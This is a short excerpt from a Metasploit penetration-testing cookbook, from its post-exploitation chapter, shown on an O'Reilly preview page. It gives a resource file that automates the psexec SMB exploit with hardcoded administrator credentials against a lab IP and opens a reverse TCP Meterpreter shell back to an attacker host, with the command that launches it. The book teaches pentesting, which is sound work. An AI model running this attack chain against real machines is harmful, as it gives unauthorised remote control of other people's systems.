Getting ready

Because we will be focusing on post-exploitation, every recipe in this chapter will start within a remote Meterperter session.

To ease the task of getting a remote session, you can use the makerc command within the msfconsole to create a resource file that will automate the exploitation of the target machine.

Take, for example, the following resource file:

root@kali:~# cat psexec.rc use exploit/windows/smb/psexecset RHOST 192.168.216.10set SMBUSER Administratorset SMBPASS vagrantset PAYLOAD windows/x64/meterpreter/reverse_tcpset LHOST 192.168.216.5exploit

By starting the msfconsole with the -r option followed by the path of the resource file, we can get a remote session without any effort:

root@kali:~# msfconsole -qr psexec.rc ...

Get Metasploit Penetration Testing Cookbook - Third Edition now with the O’Reilly learning platform.

O’Reilly members experience books, live events, courses curated by job role, and more from O’Reilly and nearly 200 top publishers.